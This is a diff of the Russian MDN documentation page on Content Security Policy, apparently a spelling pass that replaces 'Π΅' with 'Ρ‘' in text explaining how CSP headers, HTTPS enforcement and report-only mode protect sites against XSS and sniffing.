<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ CSP, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ сСрвСр Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΎΡ‚Π²Π΅Ρ‚Π°Ρ… ΠΎΠ½ использовал HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Content-Security-Policy")}} (Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>X-Content-Security-Policy</code>. Он являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ).</p>
@@ -22,13 +22,13 @@ translation_of: Web/HTTP/CSP
<p>Основная Ρ†Π΅Π»ΡŒ создания CSP Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² устранСнии XSS Π°Ρ‚Π°ΠΊ ΠΈ сборС Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ± ΠΈΡ… ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ°Ρ…. XSS Π°Ρ‚Π°ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊΒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΌΡƒ с сСрвСра. Π—Π»ΠΎΠ²Ρ€Π΅Π΄Π½Ρ‹Π΅ скрипты ΠΈΡΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ довСряСт источнику, Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° скрипт поставляСтся Π½Π΅ ΠΎΡ‚Ρ‚ΡƒΠ΄Π°, ΠΎΡ‚ΠΊΡƒΠ΄Π° каТСтся.</p>
-<p>CSP Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ администраторам сСрвСров ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²Π΅ΠΊΡ‚ΠΎΡ€Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ провСсти XSS, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ опрСдСлСния Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ источниками исполняСмых скриптов. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, совмСстимый с CSP, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ скрипты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· списка Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… источников, ΠΈ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΠ΅ (Π² Ρ‚.Ρ‡. встраиваСмыС скрипты ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ нСпосрСдствСнно Π² HTML-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…).</p>
+<p>CSP Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ администраторам сСрвСров ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²Π΅ΠΊΡ‚ΠΎΡ€Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ провСсти XSS, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ опрСдСлСния Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ источниками исполняСмых скриптов. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, совмСстимый с CSP, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ скрипты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· списка Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… источников, ΠΈ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΠ΅ (Π² Ρ‚.Ρ‡. встраиваСмыС скрипты ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ нСпосрСдствСнно Π² HTML-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…).</p>
<p>Π’ качСствС ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Ρ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹, сайты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хотят Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ΡŒ исполнСниС скриптов, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ глобально, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΎΠΏΡ†ΠΈΠΈ.</p>
<h3 id="ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ_сниффинг">ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ сниффинг</h3>
-<p>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡŽ количСства Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ список ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ²; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (Π² ΠΈΠ΄Π΅Π°Π»Π΅ ΠΈ это ΠΊΡ€Π°ΠΉΠ½Π΅ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния обСспСчСния бСзопасности), сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ HTTPS. Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Π°Ρ стратСгия Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΠ½ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΊ использованию HTTPS, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ ΠΏΠΎΠΌΠ΅Ρ‚ΠΊΡƒ всСх <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">ΠΊΡƒΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ„Π»Π°Π³Π°</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ запросов с HTTP Π½Π° HTTPS. Π‘Π°ΠΉΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{HTTPHeader("Strict-Transport-Security")}} HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ Π½ΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ<strong>.</strong></p>
+<p>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡŽ количСства Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½ΠΎΠ², с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ список ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ²; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (Π² ΠΈΠ΄Π΅Π°Π»Π΅ ΠΈ это ΠΊΡ€Π°ΠΉΠ½Π΅ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния обСспСчСния бСзопасности), сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ HTTPS. Π—Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Π°Ρ стратСгия Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΠ½ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΊ использованию HTTPS, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ ΠΏΠΎΠΌΠ΅Ρ‚ΠΊΡƒ всСх <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">ΠΊΡƒΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ„Π»Π°Π³Π°</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ запросов с HTTP Π½Π° HTTPS. Π‘Π°ΠΉΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{HTTPHeader("Strict-Transport-Security")}} HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ Π½ΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊΠ°Π½Π°Π»Ρƒ<strong>.</strong></p>
<h2 id="ИспользованиС_CSP">ИспользованиС CSP</h2>
@@ -48,7 +48,7 @@ translation_of: Web/HTTP/CSP
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹_РаспространённыС_случаи_примСнСния">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹: РаспространённыС случаи примСнСния</h2>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ приводятся Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС сцСнарии использования CSP.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ приводятся Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС сцСнарии использования CSP.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_1">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1</h3>
@@ -78,7 +78,7 @@ translation_of: Web/HTTP/CSP
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_4">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 4</h3>
-<p>Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ вСсь ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ для онлайн-Π±Π°Π½ΠΊΠΈΠ½Π³Π° ΠΈΠ΄Π΅Ρ‚ ΠΏΠΎ SSL ΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ Π½Π΅ смоТСт ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запросы:</p>
+<p>Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ вСсь ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ для онлайн-Π±Π°Π½ΠΊΠΈΠ½Π³Π° ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠΎ SSL ΠΈ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ Π½Π΅ смоТСт ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запросы:</p>
<pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre>
@@ -94,29 +94,29 @@ translation_of: Web/HTTP/CSP
<h2 id="ВСстированиС_настройки_ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ">ВСстированиС настройки ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ</h2>
-<p>Для облСгчСния развСртывания ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ CSP Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ report-only. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΠΎ всСх Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΡ… Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ URI. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ report-only ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для тСстирования Π½ΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ Π±Π΅Π· ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ развСртывания.</p>
+<p>Для облСгчСния развёртывания ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ CSP Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ report-only. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΠΎ всСх Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΡ… Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ URI. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ report-only ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для тСстирования Π½ΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ Π±Π΅Π· ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ развСртывания.</p>
<p>Для опрСдСлСния вашСй ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Content-Security-Policy-Report-Only")}} ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre>
-<p>Π’ случаС, Ссли ΠΎΠ±Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ({{HTTPHeader("Content-Security-Policy-Report-Only")}} ΠΈ {{HTTPHeader("Content-Security-Policy")}})Β Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π΅ сСрвСра, ΠΎΠ±Π΅ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹. ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, описанныС Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ <code>Content-Security-Policy</code> Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, описанныС Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ <code>Content-Security-Policy-Report-Only</code>, создадут ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹, Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚.</p>
+<p>Π’ случаС, Ссли ΠΎΠ±Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ({{HTTPHeader("Content-Security-Policy-Report-Only")}} ΠΈ {{HTTPHeader("Content-Security-Policy")}})Β Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π΅ сСрвСра, ΠΎΠ±Π΅ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹. ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, описанныС Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ <code>Content-Security-Policy</code> Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ, описанныС Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ <code>Content-Security-Policy-Report-Only</code>, создадут ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹, Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚.</p>
-<h2 id="Настройка_ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ_ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ²">Настройка ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ²</h2>
+<h2 id="Настройка_ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ_ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ²">Настройка ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ²</h2>
